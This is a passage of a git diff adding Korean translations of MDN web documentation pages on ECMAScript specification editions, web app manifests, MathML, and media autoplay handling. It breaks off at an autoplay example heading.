+ <td>ECMAScript 표준 제2판; 또한 ISO 표준 16262.</td>
+ </tr>
+ <tr>
+ <td>ECMA-262 (ES 3)</td>
+ <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%203rd%20edition,%20December%201999.pdf">PDF</a></td>
+ <td>December 1999</td>
+ <td>ECMAScript 표준 제3판; JavaScript 1.5에 해당.<br>
+ <a href="http://www.mozilla.org/js/language/E262-3-errata.html">errata</a> 참조</td>
+ </tr>
+ <tr>
+ <td>ECMA-262 (ES 5)</td>
+ <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262%205th%20edition%20December%202009.pdf">PDF</a></td>
+ <td>December 2009</td>
+ <td>ECMAScript 제5판<br>
+ <a href="http://wiki.ecmascript.org/doku.php?id=es3.1:es3.1_proposal_working_draft">ES5 errata</a> 및 <a href="/en-US/docs/JavaScript/ECMAScript_5_support_in_Mozilla" title="JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5 support in Mozilla</a> 참조</td>
+ </tr>
+ <tr>
+ <td>ECMA-357</td>
+ <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-WITHDRAWN/ECMA-357,%201st%20edition,%20June%202004.pdf">PDF</a></td>
+ <td>June 2004</td>
+ <td><a href="/en-US/docs/E4X" title="E4X">ECMAScript for XML (E4X)</a>.<br>
+ <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=169406">E4X errata</a> 참조.</td>
+ </tr>
+ <tr>
+ <td>ECMA-357 Edition 2</td>
+ <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-357.pdf">PDF</a></td>
+ <td>December 2005</td>
+ <td><a href="/en-US/docs/E4X" title="E4X">ECMAScript for XML (E4X)</a>.</td>
+ </tr>
+ <tr>
+ <td>ECMA-262 (ES 5.1)</td>
+ <td><a href="http://www.ecma-international.org/ecma-262/5.1/Ecma-262.pdf">PDF</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/">HTML</a></td>
+ <td>June 2011</td>
+ <td>이 판은 국제화 표준 <a href="http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=55755">ISO/IEC 16262:2011</a> 제3판과 완전히 정렬됨.<br>
+ ES5 errata 수정 포함, 새로운 기능은 없음.</td>
+ </tr>
+ <tr>
+ <td>ECMA-402 1.0</td>
+ <td><a href="http://ecma-international.org/ecma-402/1.0/ECMA-402.pdf">PDF</a>, <a href="http://ecma-international.org/ecma-402/1.0/index.html">HTML</a></td>
+ <td>December 2012</td>
+ <td>ECMAScript 국제화 API 1.0.</td>
+ </tr>
+ <tr>
+ <td>ECMA-262 2015 (ES 6)</td>
+ <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/index.html">HTML</a></td>
+ <td>June 2015</td>
+ <td>ECMAScript 2015 (제6판).</td>
+ </tr>
+ <tr>
+ <td>ECMA-402 2.0</td>
+ <td><a href="http://www.ecma-international.org/ecma-402/2.0/ECMA-402.pdf">PDF</a></td>
+ <td>June 2015</td>
+ <td>ECMAScript 국제화 API 2.0.</td>
+ </tr>
+ <tr>
+ <td>ECMA-262 2016 (ES 7)</td>
+ <td><a href="http://tc39.github.io/ecma262/2016/">HTML</a></td>
+ <td>June 2016</td>
+ <td>ECMAScript 2016 (제7판).</td>
+ </tr>
+ <tr>
+ <td>ECMA-402 3.0</td>
+ <td><a href="http://tc39.github.io/ecma402/2016/">HTML</a></td>
+ <td>June 2016</td>
+ <td>ECMAScript 국제화 API 3.0. 나중(올해 6월)에 승인될.</td>
+ </tr>
+ <tr>
+ <td>ECMA-262 2017 (ES 8)</td>
+ <td><a href="http://www.ecma-international.org/ecma-262/8.0">HTML</a></td>
+ <td>June 2017</td>
+ <td>ECMAScript 2017 (제8판).</td>
+ </tr>
+ <tr>
+ <td>ECMA-402 4<sup>th</sup> Edition</td>
+ <td><a href="http://www.ecma-international.org/ecma-402/4.0">HTML</a></td>
+ <td>June 2017</td>
+ <td>ECMAScript 국제화 API 4.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>ECMAScript의 역사에 대한 자세한 정보는 <a href="http://en.wikipedia.org/wiki/ECMAScript" title="http://en.wikipedia.org/wiki/ECMAScript">Wikipedia ECMAScript entry</a>를 살펴보세요.</p>
+
+<p>여러분은 코드네임 "Harmony"로 불리우는 ECMAScript의 다음 개정에 참여하거나 그냥 진행상황을 확인할 수도 있습니다.  또한 ECMAScript 국제화 API 스펙도 공개 위키와<span style="line-height: 1.5;"> </span><a href="http://www.ecmascript.org/community.php" style="line-height: 1.5;" title="http://www.ecmascript.org/community.php">ecmascript.org</a> 에 연결된<span style="line-height: 1.5;"> </span><a class="link-https" href="https://mail.mozilla.org/listinfo/es-discuss" style="line-height: 1.5;" title="https://mail.mozilla.org/listinfo/es-discuss">es-discuss mailing list</a>에서도 확인할 수 있습니다.</p>
+
+<h2 id="구현">구현</h2>
+
+<ul>
+ <li><a href="/en-US/docs/SpiderMonkey" title="SpiderMonkey">SpiderMonkey</a> - 파이어폭스 포함 여러 Mozilla 제품에 사용되는 자바스크립트 엔진;</li>
+ <li><a href="/en-US/docs/Rhino" title="Rhino">Rhino</a> - 자바로 작성된 자바스크립트 엔진;</li>
+ <li><a href="/en-US/docs/Tamarin" title="Tamarin">Tamarin</a> - (어도비® 플래쉬® 재생기에서 사용되는) 액션스크립트 가상머신;</li>
+ <li><a href="http://en.wikipedia.org/wiki/List_of_ECMAScript_engines" title="http://en.wikipedia.org/wiki/List_of_ECMAScript_engines">Other implementations</a> (위키피디아).</li>
+</ul>
+
+<h2 id="관련_항목">관련 항목</h2>
+
+<ul>
+ <li><a href="http://brendaneich.com/" title="http://brendaneich.com/">Brendan Eich's blog</a>. Brendan은 자바스크립트와 SpiderMonkey JS 엔진을 만든 사람입니다. 그는 여전히 ECMA 실행그룹과 함께 자바스크립트 언어를 발전시키는데 함께 하고 있습니다.</li>
+ <li><a href="http://dmitrysoshnikov.com/" title="http://dmitrysoshnikov.com/">Dmitry Soshnikov의 ECMA-262 Edition 3와 5에 대한 분석</a></li>
+</ul>
diff --git a/files/ko/web/manifest/index.html b/files/ko/web/manifest/index.html
new file mode 100644
index 0000000000..a3a924551b
--- /dev/null
+++ b/files/ko/web/manifest/index.html
@@ -0,0 +1,121 @@
+---
+title: Web app manifests
+slug: Web/Manifest
+tags:
+ - App
+ - Manifest
+ - PWA
+ - Progressive web apps
+ - Reference
+ - Web
+translation_of: Web/Manifest
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Web/Manifest")}}</div>
+
+<div>{{SeeCompatTable}}</div>
+
+<p><strong>웹 앱 매니페스트</strong>(Web app manifest)는 프로그레시브 웹 앱(PWA)라고 칭하는 웹 기술 모음집의 일부로서, 앱 스토어를 거치지 않고 장치의 홈 화면에 설치할 수 있는 웹사이트를 구성합니다. 단순한 홈 화면 링크/북마크를 통한 일반적인 웹 앱과 달리, PWA는 사전 다운로드를 통해 오프라인에서도 동작하며 일반적인 <a href="/ko/docs/Web/API">Web API</a>도 사용할 수 있습니다.</p>
+
+<p>웹 앱 매니페스트는 웹 애플리케이션의 정보를 {{glossary("JSON")}} 텍스트 파일로 제공하여, 웹 앱의 다운로드 및 네이티브 앱과 유사한 형태로 제공(홈 화면 설치를 통한 더 빠른 접근 및 풍부한 사용자 경험 제공)을 가능케 합니다. PWA 매니페스트는 자신의 이름, 저작자, 아이콘, 버전, 설명, 기타 필요한 리소스 등을 포함합니다.</p>
+
+<div class="hidden">
+<p>Can PWA manifest contain comments?<br>
+ It is a {{Glossary("JSON")}}-formatted file, with one exception: it is allowed to contain "<code>//</code>"-style comments.</p>
+</div>
+
+<h2 id="구성요소">구성요소</h2>
+
+<p>웹 앱 매니페스트는 다음의 키를 포함할 수 있습니다. 각각의 링크를 클릭해 더 많은 정보를 알아보세요.</p>
+
+<p>{{ListSubpages("/en-US/docs/Web/Manifest")}}</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: json notranslate">{
+ "name": "HackerWeb",
+ "short_name": "HackerWeb",
+ "start_url": ".",
+ "display": "standalone",
+ "background_color": "#fff",
+ "description": "A simply readable Hacker News app.",
+ "icons": [{
+ "src": "images/touch/homescreen48.png",
+ "sizes": "48x48",
+ "type": "image/png"
+ }, {
+ "src": "images/touch/homescreen72.png",
+ "sizes": "72x72",
+ "type": "image/png"
+ }, {
+ "src": "images/touch/homescreen96.png",
+ "sizes": "96x96",
+ "type": "image/png"
+ }, {
+ "src": "images/touch/homescreen144.png",
+ "sizes": "144x144",
+ "type": "image/png"
+ }, {
+ "src": "images/touch/homescreen168.png",
+ "sizes": "168x168",
+ "type": "image/png"
+ }, {
+ "src": "images/touch/homescreen192.png",
+ "sizes": "192x192",
+ "type": "image/png"
+ }],
+ "related_applications": [{
+ "platform": "play",
+ "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb"
+ }]
+}</pre>
+
+<h2 id="Deploying_a_manifest_with_the_link_tag" name="Deploying_a_manifest_with_the_link_tag">매니페스트 배포</h2>
+
+<p>웹 앱 매니페스트는 HTML 페이지 {{HTMLElement("head")}} 요소 내의 {{HTMLElement("link")}} 요소를 사용해 연결합니다.</p>
+
+<pre class="brush: html notranslate">&lt;link rel="manifest" href="/manifest.webmanifest"&gt;</pre>
+
+<div class="note">
+<p><strong>참고</strong>: <code>.webmanifest</code> 확장자는 명세의 <a href="https://w3c.github.io/manifest/#media-type-registration">Media type registration</a> 구획에 정의(매니페스트 파일의 응답은 <code>Content-Type: application/manifest+json</code>을 반환해야 함)되어 있습니다. 브라우저는 <code>.json</code>과 같은 기타 적절한 확장자도 지원합니다. (<code>Content-Type: application/json</code>).</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 매니페스트를 가져오려면 인증 정보가 필요한 경우, 매니페스트 파일이 현재 페이지와 동일한 출처에 위치하더라도 반드시 {{domxref("HTML/CORS_settings_attributes", "crossorigin")}} 특성을 <code>use-credentials</code>로 지정해야 합니다.</p>
+</div>
+
+<h2 id="스플래시_화면">스플래시 화면</h2>
+
+<p>Chrome 47 이후 버전에서는, 홈 화면에서 실행한 사이트가 스플래시 화면을 사용합니다. 스플래시 화면은 웹 앱 매니페스트의 다음 속성을 사용해 자동으로 생성합니다.</p>
+
+<ul>
+ <li><code><a href="/ko/docs/Web/Manifest/name">name</a></code></li>
+ <li><code><a href="/ko/docs/Web/Manifest/background_color">background_color</a></code></li>
+ <li><code><a href="/ko/docs/Web/Manifest/icons">icons</a></code> 배열에서 장치 해상도 기준 128dpi에 제일 근접한 아이콘.</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Manifest")}}</td>
+ <td>{{Spec2("Manifest")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.manifest")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps">프로그레시브 웹 앱(PWA)</a></li>
+</ul>
diff --git a/files/ko/web/mathml/index.html b/files/ko/web/mathml/index.html
new file mode 100644
index 0000000000..862714a36c
--- /dev/null
+++ b/files/ko/web/mathml/index.html
@@ -0,0 +1,65 @@
+---
+title: MathML
+slug: Web/MathML
+tags:
+ - Landing
+ - MathML
+ - Reference
+translation_of: Web/MathML
+---
+<p><strong>MathML(Mathematical Markup Language)</strong>은 수학 표기를 기술하고 그 구조와 내용을 모두 담고 있는 <a href="/ko/docs/XML" title="/ko/docs/XML">XML</a> 마크 업 언어이다. 여기에는 이 강력한 기술을 사용하게 해주는 문서와 예제, 도구에 대한 링크를 제공하고 있다.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">MathML 레퍼런스</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/MathML/Element" title="/ko/docs/Web/MathML/Element">MathML 요소 레퍼런스</a></dt>
+ <dd>MathML 요소에 대한 상세 내용과 데스크톱 및 모바일 브라우저에 대한 호환성 정보를 담고 있다.</dd>
+ <dt><a href="/ko/docs/Web/MathML/Attribute" title="/ko/docs/Web/MathML/Attribute">MathML 속성 레퍼런스</a></dt>
+ <dd>요소의 모양이나 동작을 변경하는 MathML 속성에 대한 정보를 제공한다.</dd>
+ <dt><a href="/ko/docs/Web/MathML/Examples" title="/ko/docs/Web/MathML/Examples">MathML 예제</a></dt>
+ <dd>MathML 작동 방식에 대한 이해를 돕는 샘플과 예제를 소개한다.</dd>
+ <dt><a href="/ko/docs/Web/MathML/Authoring" title="/ko/docs/Web/MathML/Authoring">MathML 작성</a></dt>
+ <dd>MathML 편집기와 결과를 웹에 적용하는 방법이 포함된 MathML을 작성하는데 도움이 되는 추천과 팁을 소개한다.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ko/docs/tag/MathML" title="/ko/docs/tag/CSS">모두 보기...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Community" id="커뮤니티">커뮤니티</h2>
+
+<ul>
+ <li><span class="hps">Mozilla 포럼보기...<br>
+ {{ DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml") }}</span></li>
+ <li><a class="link-irc" href="irc://irc.mozilla.org/%23mathml" rel="external" title="irc://irc.mozilla.org/%23mathml">IRC 채널</a></li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/MathML:Home_Page">Wiki used by Mozilla 공헌자 위키</a></li>
+ <li><a href="http://www.w3.org/Math/" title="http://www.w3.org/Math/">W3C Math Home</a></li>
+ <li><a href="http://lists.w3.org/Archives/Public/www-math/" title="http://lists.w3.org/Archives/Public/www-math/">www-math w3.org 메일 아카이브</a></li>
+</ul>
+
+<h2 class="Tools" id="도구">도구</h2>
+
+<ul>
+ <li><a class="external" href="http://validator.w3.org">W3C Validator</a></li>
+ <li><a class="link-https" href="https://addons.mozilla.org/de/firefox/addon/8969/">FireMath Firefox 부가기능</a></li>
+ <li><a href="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/" title="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/">Mathzilla Firefox 부가기능 모음</a></li>
+ <li><a href="http://dlmf.nist.gov/LaTeXML/" title="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> - Convert LaTeX 문서를 HTML+MathML 웹페이지로 변경</li>
+ <li><a href="http://webdemo.visionobjects.com/equation.html" title="http://webdemo.visionobjects.com/equation.html">Web Equation</a> - 손으로 작성한 공식을 MathML이나 LaTeX로 변환</li>
+ <li><a href="http://www.mathjax.org/" title="http://www.mathjax.org/">MathJax</a> - 크로스 브라우징 JavaScript 수학 출력 엔진. See also the <a href="https://addons.mozilla.org/en-US/firefox/addon/mathjax-native-mathml/">MathJax Native MathML add-on</a>.</li>
+</ul>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics"><span class="hps">관련 항목</span></h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS" title="/ko/docs/Web/CSS">CSS</a></li>
+ <li><a href="/ko/docs/Web/HTML" title="/ko/docs/Web/HTML">HTML</a></li>
+ <li><a href="/ko/docs/Web/SVG" title="/ko/docs/Web/SVG">SVG</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("mathml.elements.math", 0)}}</p>
diff --git a/files/ko/web/media/autoplay_guide/index.html b/files/ko/web/media/autoplay_guide/index.html
new file mode 100644
index 0000000000..f6199e5a75
--- /dev/null
+++ b/files/ko/web/media/autoplay_guide/index.html
@@ -0,0 +1,262 @@
+---
+title: 미디어 및 Web Audio API 자동 재생 가이드
+slug: Web/Media/Autoplay_guide
+translation_of: Web/Media/Autoplay_guide
+---
+<p>페이지가 로드 되자마자 소리(또는 소리가 나는 영상)를 자동으로 재생하는 것은 사용자에게 별로 유쾌한 경험은 아닐겁니다. 미디어 자동 재생이 유용하려면 꼭 필요한 경우에 한하여 조심스럽게 쓰여야 합니다. 사용자가 이를 컨트롤 할 수 있게 여러 브라우저들은 미디어 자동 재생을 막는 기능을 제공하고 있습니다. <span class="seoSummary">I본 가이드 문서에서는 다양한 미디어와 Web audio API를 통한 자동 재생 기능에 대해 소개하고 자동 재생을 하는 법과 브라우저의 자동 재생 방지 기능에 깔끔하게 대처하는 법에 대해 알아봅니다.</span></p>
+
+<p>{{HTMLElement("video")}} 엘리먼트에 오디어 트랙이 없거나 음소거인 경우에는 자동 재생 방지 기능에 영향받지 않습니다. 활성화된 오디오 트랙을 가진 미디어는 <strong>audible</strong>로 취급하고 자동 재생 방지 기능이 동작합니다. <strong>Inaudible</strong> 미디어는 그렇지 않습니다.</p>
+
+<h2 id="자동_재생과_자동_재생_방지">자동 재생과 자동 재생 방지</h2>
+
+<p><strong>자동 재생(autoplay)</strong> 이라는 용어는 사용자의 재생 요청 없이 오디오를 재생하는 모든 기능을 총칭합니다. HTML attribute를 통해 재생하거나 사용자 입력 외의 코드에서 Javascript를 통해 재생하는 경우을 포합합니다.</p>
+
+<p>이 말은 브라우저는 아래 두 경우 모두를 자동 재생 동작으로 인지하고 자동 재생 방지 기능을 적용한다는 의미입니다:</p>
+
+<pre class="brush: html">&lt;audio src="/music.mp4" autoplay&gt;</pre>
+
+<p>와</p>
+
+<pre class="brush: js">audioElement.play();</pre>
+
+<p>아래 웹 기능과 API는 자동 재생 방지 기능에 영향을 받습니다:</p>
+
+<ul>
+ <li>{{Glossary("HTML")}} {{HTMLElement("audio")}}, {{HTMLElement("video")}} 엘리먼트</li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></li>
+</ul>
+
+<p>사용자의 입장에서는 웹 페이지나 앱이 의도와 무관하게 소음을 내기 시작하면 불쾌하거나 거슬릴 가능성이 높습니다. 때문에 일반적으로 브라우저는 특정 조건 하에서만 자동 재생이 가능하도록 허용하고 있습니다.</p>
+
+<h3 id="자동_재생_가능_여부">자동 재생 가능 여부</h3>
+
+<p>일반적으로 아래 <em>조건 중 하나라도</em> 해당된다면 자동 재생이 가능하다고 볼 수 있습니다</p>
+
+<ul>
+ <li>음소거이거나 오디오 볼륨이 0</li>
+ <li>사용자가 사이트와 상호작용 함 (클릭, 터치, 키 누름 등.)</li>
+ <li>화이트리스트에 등록된 사이트; 브라우저가 판단하기에 사용자가 해당 사이트에서 미디어를 자주 재생하거나 수동으로 화이트 리스트에 사이트를 등록한 경우를 포함합니다.</li>
+ <li>자동 재생 정책이 허용으로 지정되어 {{HTMLElement("iframe")}}와 document에서 자동 재생을 지원하는 경우</li>
+</ul>
+
+<p>이외에는 자동 재생이 막힐겁니다. 정확한 차단 케이스나 사이트를 화이트리스트에 등재하는 방식 등은 브라우저마다 모두 다릅니다. 하지만 위의 케이스들이 좋은 가이드라인이 될 수 있겠죠.</p>
+
+<p>자세한 것은 <a href="https://developers.google.com/web/updates/2017/09/autoplay-policy-changes">Google Chrome</a>과 <a href="https://webkit.org/blog/7734/auto-play-policy-changes-for-macos/">WebKit</a>의 자동 재생 정책을 참조하세요.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> 사용자 인터랙션이 이루어지지 않은 탭에서 오디오가 포함된 미디어를 프로그램적으로 수행하면 일반적으로 차단됩니다. 차단 조건은 브라우저별로 몇 개 더 추가 될 수 있습니다.</p>
+</div>
+
+<h2 id="미디어_엘리먼트_자동_재생">미디어 엘리먼트 자동 재생</h2>
+
+<p>이제 자동 재생이 무엇인지, 자동 재생을 방지하는 것은 무엇인지에 대해 자세히 알아봅시다. 자페이지가 로드될 때 어떻게 자동으로 재생하는지, 자동 재생이 실패한 경우를 어떻게 알아내는 지 그리고 브라우저가 자동 재생을 금지한 경우 어떻게 대응할지 알아봅시다.</p>
+
+<h3 id="autoplay_속성">autoplay 속성</h3>
+
+<p>가장 간단한 자동 재생 방법은 {{HTMLElement("audio")}}나 {{HTMLElement("video")}} 엘리먼트에 {{htmlattrxref("autoplay", "audio")}} 속성을 추가하는 겁니다. 이는 {{domxref("HTMLMediaElement.autoplay", "autoplay")}} 속성을 <code>true</code>로 지정하며, <code>autoplay</code>가 <code>true</code>면 아래 조건이 만족된 직후부터 자동 재생을 시도합니다:</p>
+
+<ul>
+ <li>페이지가 자동 재생 기능을 허용할 때</li>
+ <li>페이지 로드 중에 엘리먼트가 생성될 때</li>
+ <li>미디어의 끝까지 문제 없이 재생 가능할 정도로 충분한 데이터가 수신되었으며, 네트워크 품질에 큰 변화가 발생하지 않을 것으로 추정되는 경우.</li>
+</ul>
+
+<h4 id="예제_autoplay_속성">예제: autoplay 속성</h4>
+
+<p>{{HTMLElement("audio")}} 엘리먼트의 <code>autoplay</code> 속성을 사용하는 경우는 아래와 같습니다:</p>
+
+<pre class="brush: html">&lt;audio id="musicplayer" autoplay&gt;
+ &lt;source src="/music/chapter1.mp4"
+&lt;/audio&gt;
+</pre>
+
+<h4 id="예제_2_자동재생_실패_탐지">예제 2: 자동재생 실패 탐지</h4>
+
+<p>자동 재생 기능이 중요하거나, 자동 재생 실패 시 앱에 큰 영향이 가해진다면, 여러분은 아마도 자동 재생이 실패하는 시점을 알고 싶을겁니다. 안타깝게도 {{htmlattrxref("autoplay", "audio")}} 속성을 사용하는 경우, 자동 재생 성공 여부를 알아내는 것이 쉽지 않습니다. 자동 재생 실패 시 발생하는 이벤트가 없기 때문이죠. 게다가 익셉션 또는 콜백, 심지어 자동 재생이 되었을 때 켜지는 플래그조차 없습니다. 여러분이 할 수 있는 건 몇 가지 변수를 체크하거나 경험적으로 자동 재생이 동작했는지 판단할 수 밖에 없습니다.</p>
+
+<p>더 좋은 방법으로는 앱의 동작 방식을 자동 재생 실패를 탐지하기보다 성공을 탐지하는 방향으로 조정하는 것입니다. 이 방법은 간단한데, 미디어 엘리먼트에서 {{event("play")}} 가 발생하길 기다리는 것입니다.</p>
+
+<p><code>play</code> 이벤트는 일시 정지된 후 재생될때와 자동 재생이 동작하는 두 경우 모두 발생합니다. 이 말은 즉 <code>play</code> 이벤트가 최초로 발생했다면 페이지가 열린 후 미디어가 처음으로 재생되었다는것을 알 수 있다는 말이죠.</p>
+
+<p>아래 HTML 코드를 확인 해 보세요:</p>
+
+<pre class="brush: html">&lt;video src="myvideo.mp4" autoplay onplay=handleFirstPlay(event)"&gt;</pre>
+
+<p>{{HTMLElement("video")}} 엘리먼트에 {{htmlattrxref("autoplay", "video")}} 속성이 설정되어 있으며, {{domxref("HTMLMediaElement.onplay", "onplay")}} 이벤트 핸들러도 지정되어 있습니다; 이벤트는 <code>handleFirstPlay()</code> 함수로 전달되며 <code>play</code> 이벤트를 인자로 받습니다.</p>
+
+<p><code>handleFirstPlay()</code> 는 아래와 같습니다:</p>
+
+<pre class="brush: js">function handleFirstPlay(event) {
+ let vid = event.target;
+
+ vid.onplay = null;
+
+ // Start whatever you need to do after playback has started
+}</pre>
+
+<p>{{domxref("Event")}} 객체의 {{domxref("Event.target", "target")}} 프로퍼티로 비디오 엘리먼트 참조를 얻은 뒤에, 엘리먼트의 <code>onplay</code> 핸들러를 <code>null</code>로 세팅합니다. 이렇게 하면 향후 모든 <code>play</code> 이벤트가 핸들러로 전달되는 것을 방지합니다. 비디오 일시 정지 후 사용자가 재생하거나 백그라운드 탭으로 전환된 후 브라우저에 의해 자동으로 재생될 때 발생할 수 있습니다.</p>
+
+<p>이 시점에서 여러분의 사이트나 앱은 비디오 시작 후 필요한 모든 작업을 수행할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> autoplay 또는 사용자가 직접 재생하는 경우에도 위 방법은 차이점은 없습니다.</p>
+</div>
+
+<h3 id="play_메소드">play() 메소드</h3>
+
+<p>사용자 입력 이벤트에서 시작된 컨텍스트 밖에서 오디오가 포함된 미디어를 재생하는 시나리오도 자동 재생(autoplay)라 부릅니다. 미디어 엘리먼트의 {{domxref("HTMLMediaElement.play", "play()")}} 메소드를 호출하면 가능합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> 가능하다면 <code>autoplay</code> 속성을 사용하는 걸 항상 추천합니다. 왜냐면 다른 방식으로 자동 재생하는 방법보다 <code>autoplay</code> 속성에 대한 지원이 더 잘 되어 있기 때문입니다. 또한 자동 재생 방식과 시점을 브라우저가 최적으로 결정할 수 있게 합니다.</p>
+</div>
+
+<h4 id="예시_비디오_재생">예시: 비디오 재생</h4>
+
+<p>아래는 문서 내의 첫번째 {{HTMLElement("video")}} 엘리먼트를 찾아 재생하는 간단한 예제입니다. <code>play()</code> 는 자동 재생 권한을 획득하기 전까지는 재생하지 않습니다.</p>
+
+<pre class="brush: js">document.querySelector("video").play();</pre>
+
+<h4 id="예시_play_실패_처리">예시: play() 실패 처리</h4>
+
+<p>{{domxref("HTMLMediaElement.play", "play()")}} 메소드로 재생한 경우 자동 재생 실패를 탐지하는 것은 매우 쉽습니다. <code>play()</code> 함수가 재생 성공시 resolve되고 실패 시(자동 재생이 거부되거나) reject되는 {{jsxref("Promise")}}를 반환하기 때문이죠. 자동 재생이 실패한 경우 수동으로 사용자에게 자동 재생 권한을 요청하면 됩니다.</p>
+
+<p>아래와 같은 코드로 해결할 수 있습니다:</p>
+
+<pre class="brush: js">let startPlayPromise = videoElem.play();
+
+if (startPlayPromise !== undefined) {
+ startPlayPromise.catch(error =&gt; {
+ if (error.name === "NotAllowedError") {
+ showPlayButton(videoElem);
+ } else {
+ // Handle a load or playback error
+ }
+ }).then(() =&gt; {
+ // Start whatever you need to do only after playback
+ // has begun.
+ });
+}
+</pre>
+
+<p><code>play()</code>의 반환값이 <code>undefined</code>가 아닌 지 먼저 확인해야합니다. 과거 버전 HTML 표준에서는 <code>play()</code> 의 반환 값이 정의되어 있지 않기 때문입니다. Promise를 반환하여 재생 성공/실패를 알 수 있게 된 것은 최근의 일입니다. <code>undefined</code>인지 체크하여 구형 브라우저에서 오류가 발생하지 않도록 하세요.</p>
+
+<p>그 후 promise에 {{jsxref("Promise.catch", "catch()")}} 핸들러를 추가합니다. 핸들러는 에러의 {{domxref("DOMException.name", "name")}}이 <code>NotAllowedError</code>인지 체크합니다. 이는 재생이 실패한 이유가 자동 재생 금지 같은 퍼미션 문제인지 알 수 있습니다. 그 경우 여러분은 사용자가 직접 재생할 수 있도록 UI를 표시해야 합니다; <code>showPlayButton()</code> 함수가 하는 일이죠.</p>
+
+<p>다른 에러도 적절하게 처리해 줍니다.</p>
+
+<p><code>play()</code>가 반환 한 promise가 에러 없이 resolveed 되면, <code>then()</code> 절에서 자동 재생 성공 후 하려는 뭐든지 수행하면 됩니다.</p>
+
+<h2 id="Web_Audio_API를_이용한_자동_재생">Web Audio API를 이용한 자동 재생</h2>
+
+<p>웹사이트나 앱에서 <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>의 {{domxref("AudioContext")}} 같은 노드에서 <code>start()</code> 메소드를 호출하여 오디오를 자동 재생할 수 있습니다. 사용자 입력 컨텍스트에 벗어난 곳에서 호출할 경우에는 자동 재생 규칙이 적용됩니다.</p>
+
+<p><em>상세한 내용 추가 예정; 모질라는 아직 자동 재생 방지 기능을 작업 중입니다. 다른 곳에 이미 구현되었다면 여기에 마음 껏 내용을 추가해 주세요...</em></p>
+
+<h2 id="자동_재생_기능_정책">자동 재생 기능 정책</h2>
+
+<p>지금까지 설명한 브라우저 측의 자동 재생 관리 및 처리 기능도 있지만, 웹 서버도 자동 재생 여부를 결정할 수 있습니다. {{Glossary("HTTP")}} {{HTTPHeader("Feature-Policy")}} 헤더의 <code><a href="/en-US/docs/Web/HTTP/Headers/Feature-Policy/autoplay">autoplay</a></code> 디렉티브가 해당 용도입니다. 존재만 하면 자동 재생할 때 쓸 수 있습니다. 기본적으로 <code>autoplay</code>의 allowlist는 <code>'self'</code> (<em>홑따옴표 포함</em>)이며, 현재 문서와 동일한 domain에만 허용하고 있습니다.</p>
+
+<p><code>'none'</code>으로 지정하여 전역으로 자동 재생을 막을 수 있습니다. <code>'*'</code> 는 모든 도메인에서 전송된 미디어를 자동 재생하도록 허용합니다. 오리진은 하나의 space 문자로 구분 됩니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> 명시된 feature policy는 현재 문서와 내부의 모든 {{HTMLElement("iframe")}}에 적용됩니다. 단 {{htmlattrxref("allow", "iframe")}} 어트리뷰트를 가진 iframe과 해당 프레임의 내부 프레임은 새로운 feature policy가 적용되며 상위의 feature policy는 무시됩니다.</p>
+</div>
+
+<p><code>&lt;iframe&gt;</code>에 {{htmlattrxref("allow", "iframe")}}를 추가하여 해당 프레임과 내부 프레임에 feature policy를 적용하면, {{htmlattrxref("src", "iframe")}} 어트리뷰트에서 지정된 도메인에서만 미디어를 자동 재생 하도록 허용할 수 있습니다.</p>
+
+<h3 id="예시_document의_domain에서만_자동_재생_허용">예시: document의 domain에서만 자동 재생 허용</h3>
+
+<p>{{HTTPHeader("Feature-Policy")}} 헤더를 사용하여 document의 {{Glossary("origin")}}에서만 자동 재생을 허용하는 예시입니다:</p>
+
+<pre>Feature-Policy: autoplay 'self'</pre>
+
+<p>{{HTMLElement("iframe")}}에서 동일한 작업을 합니다:</p>
+
+<pre class="brush: html">&lt;iframe src="mediaplayer.html"
+ allow="autoplay 'src'"&gt;
+&lt;/iframe&gt;
+</pre>
+
+<h3 id="예시_전체_화면에서_자동_재생_허용">예시: 전체 화면에서 자동 재생 허용</h3>
